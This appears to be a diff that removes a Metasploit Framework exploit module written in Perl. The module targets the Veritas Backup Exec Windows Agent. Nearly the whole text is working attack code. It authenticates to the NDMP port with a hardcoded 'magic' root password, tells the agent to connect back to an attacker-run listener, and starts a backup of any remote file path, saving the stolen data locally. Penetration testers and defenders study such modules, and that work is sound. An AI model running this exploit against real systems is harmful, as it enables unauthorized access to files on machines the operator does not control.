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-
- ##
- # This file is part of the Metasploit Framework and may be redistributed
- # according to the licenses defined in the Authors field below. In the
- # case of an unknown or missing license, this file defaults to the same
- # license as the core Framework (dual GPLv2 and Artistic). The latest
- # version of the Framework can always be obtained from metasploit.com.
- ##
-
- ##
- # Original code written by <CENSORED> and ported to the Framework by HDM
- ##
-
- package Msf::Exploit::backupexec_dump;
- use base "Msf::Exploit";
- use strict;
- use Pex::Text;
- use IO::Socket;
- use IO::Select;
-
- my $advanced = { };
-
- my $info =
- {
- 'Name' => 'Veritas Backup Exec Windows Remote File Access',
- 'Version' => '$Revision: 1.6 $',
- 'Authors' => [ 'anonymous' ],
- 'Arch' => [ ],
- 'OS' => [ ],
-
- 'UserOpts' =>
- {
- 'RHOST' => [1, 'ADDR', 'The target IP address'],
- 'RPORT' => [1, 'PORT', 'The target NDMP port', 10000],
- 'RPATH' => [0, 'DATA', 'The remote file path to obtain'],
-
- 'LHOST' => [1, 'ADDR', 'The local IP address', '0.0.0.0'],
- 'LPORT' => [1, 'PORT', 'The local listner port', 44444],
- 'LPATH' => [0, 'DATA', 'The local backup file path'],
- },
-
- 'Description' => Pex::Text::Freeform(qq{
- This module abuses a logic flaw in the Backup Exec Windows Agent to download
- arbitrary files from the system. This flaw was found by someone who wishes to
- remain anonymous and affects all known versions of the Backup Exec Windows Agent. The
- output file is in 'MTF' format, which can be extracted by the 'NTKBUp' program
- listed in the references section.
- }),
-
- 'Refs' =>
- [
- ['OSVDB', '18695'],
- ['BID', '14551'],
- ['URL', 'http://www.fpns.net/willy/msbksrc.lzh'],
- ['MIL', '88'],
- ],
-
- 'DefaultTarget' => 0,
- 'Targets' =>
- [
- ['Veritas Remote File Access'],
- ],
-
- 'Keys' => ['veritas'],
-
- 'DisclosureDate' => 'Aug 12 2005',
- };
-
- sub new {
- my $class = shift;
- my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
- return($self);
- }
-
- sub Check {
- my $self = shift;
- my $remote_host = $self->GetVar('RHOST');
- my $remote_port = $self->GetVar('RPORT');
-
- my $s = Msf::Socket::Tcp->new(
- 'PeerAddr' => $remote_host,
- 'PeerPort' => $remote_port,
- 'SSL' => $self->GetVar('SSL'),
- );
-
- if ( $s->IsError ) {
- $self->PrintLine( '[*] Error connecting to Veritas agent: ' . $s->GetError );
- return $self->CheckCode('Connect');
- }
-
- my $res;
- my $pkt;
-
- $res = $self->AgentRead($s);
- if (! $res) {
- $self->PrintLine('[*] Did not receive greeting from the agent');
- $s->Close;
- return $self->CheckCode('Unknown');
- }
-
- my $username = "root";
- my $password = "\xb4\xb8\x0f\x26\x20\x5c\x42\x34\x03\xfc\xae\xee\x8f\x91\x3d\x6f";
-
- # Create the CONNECT_CLIENT_AUTH request
- $pkt =
- pack('N', 1).
- pack('N', time()).
- pack('N', 0).
- pack('N', 0x0901).
- pack('N', 0).
- pack('N', 0).
- pack('N', 2).
- pack('N', length($username)).
- $username.
- $password;
-
- $self->PrintLine( "[*] Sending magic authentication request...");
-
- $self->AgentSend($s, $pkt);
- $res = $self->AgentRead($s);
- $s->Close;
-
- if (! $res) {
- $self->PrintLine('[*] Did not receive authentication response');
- return $self->CheckCode('Safe');
- }
-
- my @words = unpack('N*', $res);
-
- if (
- $words[2] == 1 &&
- $words[3] == 0x0901 &&
- $words[5] == 0 &&
- $words[6] == 0
- ) {
- $self->PrintLine('[*] This system appears to be vulnerable');
- return $self->CheckCode('Appears');
- }
-
- $self->PrintLine('[*] This system does not appear to be vulnerable');
- return $self->CheckCode('Safe');
- }
-
- sub Exploit {
- my $self = shift;
- my $remote_host = $self->GetVar('RHOST');
- my $remote_port = $self->GetVar('RPORT');
- my $remote_path = $self->GetVar('RPATH');
-
- my $local_host = $self->GetVar('LHOST');
- my $local_port = $self->GetVar('LPORT');
- my $local_path = $self->GetVar('LPATH');
-
-
- if (! $local_path) {
- $self->PrintLine("[*] Please specify a local file name for the LPATH option");
- return;
- }
-
- if (! $remote_path) {
- $self->PrintLine("[*] Please specify a remote file path for the RPATH option");
- return;
- }
-
- $self->PrintLine( "[*] Attempting to retrieve $remote_path...");
-
- my $s = Msf::Socket::Tcp->new(
- 'PeerAddr' => $remote_host,
- 'PeerPort' => $remote_port,
- 'SSL' => $self->GetVar('SSL'),
- );
-
- if ( $s->IsError ) {
- $self->PrintLine( '[*] Error connecting to Veritas agent: ' . $s->GetError );
- return;
- }
-
- my $res;
- my $pkt;
-
- $res = $self->AgentRead($s);
- if (! $res) {
- $self->PrintLine('[*] Did not receive greeting from the agent');
- $s->Close;
- return;
- }
-
- my $username = "root";
- my $password = "\xb4\xb8\x0f\x26\x20\x5c\x42\x34\x03\xfc\xae\xee\x8f\x91\x3d\x6f";
-
- # Create the CONNECT_CLIENT_AUTH request
- $pkt =
- pack('N', 1).
- pack('N', time()).
- pack('N', 0).
- pack('N', 0x0901).
- pack('N', 0).
- pack('N', 0).
- pack('N', 2).
- pack('N', length($username)).
- $username.
- $password;
-
- $self->PrintLine( "[*] Sending magic authentication request...");
-
- $self->AgentSend($s, $pkt);
- $res = $self->AgentRead($s);
- if (! $res) {
- $self->PrintLine('[*] Did not receive authentication response');
- return;
- }
-
- $self->PrintLine("[*] Starting the data connection listener on $local_port...");
- my $l = IO::Socket::INET->new
- (
- 'LocalPort' => $local_port,
- 'Proto' => 'tcp',
- 'ReuseAddr' => 1,
- 'Listen' => 5,
- 'Blocking' => 0,
- );
-
- if (! $l) {
- $self->PrintLine("[*] Failed to start the listener: $!");
- return;
- }
-
- my $sel = IO::Select->new($l);
-
- if ($local_host eq "0.0.0.0") {
- $local_host = $s->Socket->sockhost;
- }
-
- # Create the DATA_CONNECT request
- $pkt =
- pack('NNNNNNN',
- 3,
- 0,
- 0,
- 0x040a,
- 0,
- 0,
- 1
- ).
- gethostbyname($local_host).
- pack('N', $local_port);
-
- $self->PrintLine("[*] Directing the server to $local_host:$local_port...");
-
- $self->AgentSend($s, $pkt);
- $res = $self->AgentRead($s);
- if (! $res) {
- $self->PrintLine('[*] Did not receive data connect response');
- return;
- }
-
- $self->PrintLine("[*] Waiting 15 seconds for the agent to connect...");
- my @rdy = $sel->can_read(15);
- if (! @rdy) {
- $self->PrintLine("[*] No connection received from the agent :-(");
- return;
- }
-
- my $cli = $l->accept();
- if (! $cli) {
- $self->PrintLine("[*] Encountered an error accepting the connection: $!");
- return;
- }
-
- my $d = Msf::Socket::Tcp->new_from_socket($cli);
-
- $self->PrintLine("[*] Connection received from ".$d->PeerAddr." :-)");
-
- # Create the MOVER_SET_RECORD_SIZE request
- $pkt=
- pack('NNNNNNN',
- 4,
- 0,
- 0,
- 0x0a08,
- 0,
- 0,
- 0x8000,
- );
-
- $self->AgentSend($s, $pkt);
- $res = $self->AgentRead($s);
- if (! $res) {
- $self->PrintLine('[*] Did not receive mover set response');
- return;
- }
-
- # The environment needed to perform the actual backup
- my %define_env =
- (
- 'USERNAME' => '',
- 'BU_EXCLUDE_ACTIVE_FILES' => "0",
- 'FILESYSTEM' => "\"\\\\$remote_host\\$remote_path\",v0,t0,l0,n0,f0",
- );
-
- # Create the DATA_START_BACKUP request
- $pkt =
- pack('NNNNNNN',
- 5,
- 0,
- 0,
- 0x0401,
- 0,
- 0,
- 4,
- ).
- "dump".
- pack("N", scalar(keys %define_env));
-
- foreach my $var (keys %define_env) {
-
- $pkt .= pack("N", length($var));
- $pkt .= $var;
- if (length($var) % 4) {
- $pkt .= "\x00" x (4 - (length($var) % 4));
- }
-
- $pkt .= pack("N", length($define_env{$var}));
- $pkt .= $define_env{$var};
- if (length($define_env{$var}) % 4) {
- $pkt .= "\x00" x (4 - (length($define_env{$var}) % 4));
- }
- }
-
- substr($pkt, -1, 1) = "\x01";
-
- $self->AgentSend($s, $pkt);
- $res = $self->AgentRead($s);
- if (! $res) {
- $self->PrintLine('[*] Did not receive backup start response');
- return;
- }
-
- # Create the GET_ENV request
- $pkt =
- pack('NNNNNN',
- 5,
- 0,
- 0,
- 0x4004,
- 0,
- 0,
- );
-
- $self->AgentSend($s, $pkt);
- $res = $self->AgentRead($s);
- if (! $res) {
- $self->PrintLine('[*] Did not receive get env response');
- return;
- }
-
- if (! open(TMP, ">". $local_path)) {
- $self->PrintLine("[*] Could not open local file for writing: $!");
- return;
- }
-
- my $data;
- do
- {
- $data = $d->Recv(524288, 10);
- if ($data) {
- $self->PrintLine("[*] Obtained ".length($data)." bytes from the agent");
- print TMP $data;
- }
- else {
- $self->PrintLine("[*] Reached the end of the backup data");
- }
-
- } while ($data);
- close(TMP);
-
- return;
- };
-
- sub AgentRead {
- my $self = shift;
- my $sock = shift;
- my $rlen = $sock->Recv(4, 10);
- return if ! $rlen;
-
- my $plen = unpack('N', $rlen);
- return if ! $plen;
-
- my $data = $sock->Recv($plen & 0x7fffffff, 10);
- return $data;
- }
-
- sub AgentSend {
- my $self = shift;
- my $sock = shift;
- my $data = shift;
- return if ! $data;
- return $sock->Send(pack('N', 0x80000000 + length($data)) . $data);
- }
-
- 1;
-